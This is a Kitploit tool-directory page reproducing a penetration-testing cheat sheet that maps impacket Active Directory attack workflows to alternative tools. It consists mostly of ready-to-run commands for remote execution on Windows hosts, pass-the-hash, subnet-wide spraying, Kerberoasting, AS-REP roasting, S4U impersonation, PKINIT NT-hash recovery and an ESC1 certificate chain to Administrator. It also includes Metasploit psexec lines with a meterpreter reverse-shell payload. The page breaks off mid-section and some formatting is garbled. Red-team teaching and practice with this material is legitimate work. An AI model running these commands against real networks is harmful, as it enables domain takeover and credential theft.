Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Outpacket — 이 치트시트는 일반적인 impacket 워크플로우를 현대적인 대안에 매핑합니다. | Kitploit
도구/GitHubGitHub/n00py/outpacket
Password AttacksLateral MovementInformation GatheringPost-ExploitationPenetration TestingAuthenticationLearning & EducationRed TeamingCurated Resources
GitHubn00py/outpacket

Outpacket

이 치트시트는 일반적인 impacket 워크플로우를 현대적인 대안에 매핑합니다.

302232개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

📦 Outpacket

impacket이 지겹나요? 이 치트시트는 일반적인 impacket 워크플로를 최신 대안으로 매핑합니다


목차

  • 인증 빠른 참조
  • 1. 원격 실행
    • WMI 실행 · wmiexec.py
    • DCOM 실행 · dcomexec.py
    • 서비스 기반 실행 · smbexec.py · psexec.py
    • 예약 작업 실행 · atexec.py
    • 대량 실행 · wmiexec.py · psexec.py
  • 2. Kerberos
    • TGT 요청 · getTGT.py
    • 서비스 티켓(TGS) 요청 · getST.py
    • S4U2self / S4U2proxy · getST.py -impersonate
    • Kerberoasting · GetUserSPNs.py
    • AS-REP Roasting · GetNPUsers.py
    • ccache 로스팅
    • 사전 인증 / 암호화 유형 프로브 · GetNPUsers.py
    • PKINIT NT 해시 복구
    • 티켓 갱신 · getST.py -renew
    • 티켓 형식 변환 · ticketConverter.py
    • 비밀번호 변경 · changepasswd.py
    • 골든/실버 티켓 · ticketer.py
  • 3. SMB / 파일 작업
    • 공유 목록 · smbclient.py -shares
    • 찾아보기 / 파일 나열 · smbclient.py
    • 파일 다운로드 · smbclient.py get
    • 백업 의미 체계로 다운로드
    • 파일 업로드 · smbclient.py put
    • 디렉터리 및 파일 생성/제거 · smbclient.py
    • 명명된 파이프 나열 · smbclient.py
    • 패스더해시 — SMB · smbclient.py -hashes
    • SOCKS5를 통한 SMB · proxychains smbclient.py
    • 열린 파일/세션 열거 · netview.py
    • 원격 파일 타임스탬프 변경
    • VSS 스냅샷 열거 · smbclient.py list_snapshots
  • 4. 자격 증명 덤프
    • LSASS 미니덤프 구문 분석
    • SAM 해시 덤프 · secretsdump.py -sam
    • LSA 시크릿 덤프 · secretsdump.py -lsa
    • SAM + LSA 함께 덤프 · secretsdump.py
    • 대량 SAM / LSA 덤프 · secretsdump.py
    • VSS 스냅샷을 통한 NTDS 덤프 · secretsdump.py -use-vss
    • IFM(ntdsutil)을 통한 NTDS 덤프 · wmiexec.py · smbclient.py
    • wbadmin(Windows Server Backup)을 통한 NTDS 덤프 · wmiexec.py
    • Diskshadow를 통한 NTDS 덤프 · wmiexec.py · smbclient.py
    • Kerb-Key-List(RODC)를 통한 NTDS 덤프 · secretsdump.py -use-keylist
  • 5. 열거
    • 도메인 사용자 (SAMR) · samrdump.py · net.py
    • 그룹 / 로컬 별칭 · net.py group · net.py localgroup
    • SID 무차별 대입 / 조회 · lookupsid.py
    • RPC 엔드포인트 · rpcdump.py · rpcmap.py
    • WMI 쿼리 · wmiquery.py
    • WMI 메서드 호출 · wmiexec.py
    • 원격 레지스트리 · reg.py
    • 레지스트리 키 보안 설명자
    • 서비스 열거 · services.py
    • LSA 권한 관리
    • LSA 권한 및 계정 열거
  • 6. Active Directory / LDAP
    • AD 사용자/컴퓨터 열거 · GetADUsers.py · GetADComputers.py
    • GPO 및 도메인 트러스트 열거 · ldapsearch · bloodyAD
    • 위임 구성 찾기 · findDelegation.py
    • 컴퓨터 계정 추가 · addcomputer.py
    • 사용자 계정 추가 · net.py user -add
    • RBCD 설정 · rbcd.py
    • DACL 남용 · dacledit.py · owneredit.py
    • 사용자 특성 수정 (UAC 비트 플래그) · net.py
  • 7. 인증 강제 · printerbug.py · dfscoerce.py
    • 강제 + 릴레이 패턴 · ntlmrelayx.py · smbserver.py (캡처)
  • 8. 인증서
    • 자체 서명 PFX 생성
    • ADCS 인증서 템플릿 열거 · netexec ldap -M adcs
    • ADCS ESC1
  • 9. 특수 자격 증명 수집
    • certsync — 골든 인증서 + UnPAC the Hash
    • DPAPI 도메인 백업 키 — 대량 자격 증명 복호화

인증 빠른 참조

⚠️ Titanis ccache 참고 사항: -Tgt는 현재 impacket(getTGT.py) 및 유사 도구로 생성된 ccache 파일을 거부합니다. 근본 원인: impacket은 TGT 서비스 사용자 주체를 NT_PRINCIPAL(이름 유형 1)로 인코딩합니다. Titanis는 NT_SERVICE_INSTANCE(이름 유형 2)를 기대하므로 티켓을 TGT로 인식하지 못합니다. 이 검사를 완화하는 Titanis 개발자의 수정이 대기 중입니다. 그때까지는 Kerb asreq -TicketCache를 사용하여 Titanis 네이티브 TGT를 얻은 뒤 -Tgt로 전달하세요. 별도로, -TicketCache는 비(非)네이티브 ccache 파일에 대해 인증 컨텍스트를 조용히 제공하지 않습니다. 대신 -Tgt(Titanis 생성 파일 사용)를 사용하세요. impacket/Metasploit ccache 파일의 경우 KRB5CCNAME + wmiexec.py -k / smbclient.py -k를 직접 사용하세요.


1. 원격 실행

WMI 실행```bash

impacket

wmiexec.py DOMAIN/jdoe:[email protected] "whoami"

gopacket — password (interactive semi-shell)

wmiexec DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"

Titanis

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"

impacket — pass-the-hash

wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"

gopacket — pass-the-hash

wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"

Titanis — pass-the-hash

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"

impacket — Kerberos

wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"

gopacket — Kerberos (must use FQDN domain; FQDN hostname as target)

KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]

Titanis — Kerberos

Use the short hostname as target (for Kerberos SPN + application protocol);

use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail

because the server expects the short hostname in the WMI activation request.

Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"

Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note)

Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — CLSID 조회 표준 절차(SOP):**
> - **ProgID 확인은 로컬에서 수행됩니다.** Titanis는 대상이 아닌 공격자의 레지스트리에서 ProgID(예: `MMC20.Application`)를 확인합니다. Linux에서는 확인할 레지스트리가 없으며, Windows에서는 공격자의 CLSID가 대상의 CLSID와 다를 수 있습니다. 항상 `Reg`를 사용하여 원격 시스템의 실제 CLSID를 조회한 다음 원시 GUID를 전달하세요.
> - **속성 체인 탐색** (v0.9.20260320+): Dcom invoke는 이제 `Document.ActiveView.ExecuteShellCommand`와 같은 점으로 구분된 속성 경로를 지원하며, IDispatch 체인을 자동으로 탐색합니다. MMC20.Application은 작동합니다. ShellWindows `Item()`은 작동하지 않습니다 — 체인 구문이 전달할 수 없는 인덱스 인수가 필요하기 때문입니다.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

↑ 인덱스로 돌아가기


서비스 기반 실행 (smbexec / psexec)

⚠️ DC 대상 smbexec.py: smbexec.py는 \pipe\svcctl을 열 때 STATUS_OBJECT_NAME_NOT_FOUND 오류로 도메인 컨트롤러(DC)에서 실패합니다. DC는 멤버 서버보다 명명된 파이프 열기 매개변수에 대해 더 엄격합니다. smbexec.py의 플래그는 services.py의 플래그와 달리 거부됩니다. DC에서 서비스 관리를 하려면 services.py를 사용하거나, 원격 실행에는 wmiexec.py를 사용하세요.```bash

impacket — smbexec (interactive semi-shell; works against member servers)

smbexec.py DOMAIN/jdoe:[email protected]

gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM)

smbexec DOMAIN/jdoe:[email protected]

gopacket — smbexec pass-the-hash

smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — psexec

psexec.py DOMAIN/jdoe:[email protected] cmd.exe

gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM)

psexec DOMAIN/jdoe:[email protected]

gopacket — psexec pass-the-hash

psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Metasploit — password

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=

Metasploit — pass-the-hash

msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=

Titanis — create service, retrieve output, clean up

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 예약 작업 실행

> **참고:** MS-TSCH는 아직 Titanis에 구현되지 않았습니다. 대안으로 WMI를 통해 `Win32_ScheduledJob`을 사용하거나, 실제 MS-TSCH 동작을 위해 `atexec.py`를 사용하세요.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

↑ 인덱스로 돌아가기


여러 호스트에 걸친 일괄 원격 실행```bash

NetExec — spray across a subnet

netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"

NetExec — pass-the-hash spray

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"

Titanis — loop over a host list

while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

## 2. Kerberos

### TGT 요청```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

↑ 목차로 돌아가기


서비스 티켓 요청 (TGS)```bash

impacket

getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

Metasploit

msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS

minikerberos (requires existing ccache)

minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache

Titanis

Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi

gopacket — password

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ 목차로 돌아가기


Kerberoasting```bash

impacket

GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123

Metasploit

msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123

Metasploit — pass-the-hash

msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt

minikerberos

minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

minikerberos — NTLM hash

minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

pypykatz

pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

pypykatz — NTLM hash

pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> kerberoast kerberoast_hashes.txt

Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes

Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux

-OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast
${safe}.kirbi" done < spns.txt Kerb select -From roast_
.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache

gopacket — password (requires -port 389; default 445 breaks LDAP enumeration)

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

↑ 인덱스로 돌아가기


ccache 로스팅 (오프라인)

탈취한 ccache 파일에서 $krb5tgs$ 해시를 아무것도 다시 요청하지 않고 추출합니다.```bash

minikerberos

minikerberos-ccacheroast stolen.ccache

pypykatz

pypykatz kerberos ccache roast stolen.ccache

Feed output to: hashcat -m 13100 or john --format=krb5tgs

root@kitploit:~
[↑ Back to Index](#index)

---

### 사전 인증 / 암호화 유형 탐색```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

↑ 목차로 돌아가기


PKINIT NT 해시 복구 (UnPAC)

인증서를 획득한 후 PKINIT을 통해 계정의 NT 해시를 복구합니다.```bash

certipy — certificate → NT hash + TGT (most direct; also outputs ccache)

certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

certipy — specify username explicitly (useful when UPN in cert differs)

certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1

minikerberos — certificate → NT hash only

minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt

PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key

python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache

PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash

(run after gettgtpkinit.py; use the AS-REP key printed by that tool)

export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser

Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH

certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 티켓 갱신```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

↑ 인덱스로 돌아가기


티켓 형식 변환```bash

impacket

ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache

Metasploit

msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi

Metasploit — inspect ticket (optionally decrypt)

msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

minikerberos

minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache

Titanis — merge multiple files

Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache

gopacket — ccache ↔ kirbi conversion

ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache

gopacket — inspect ticket contents

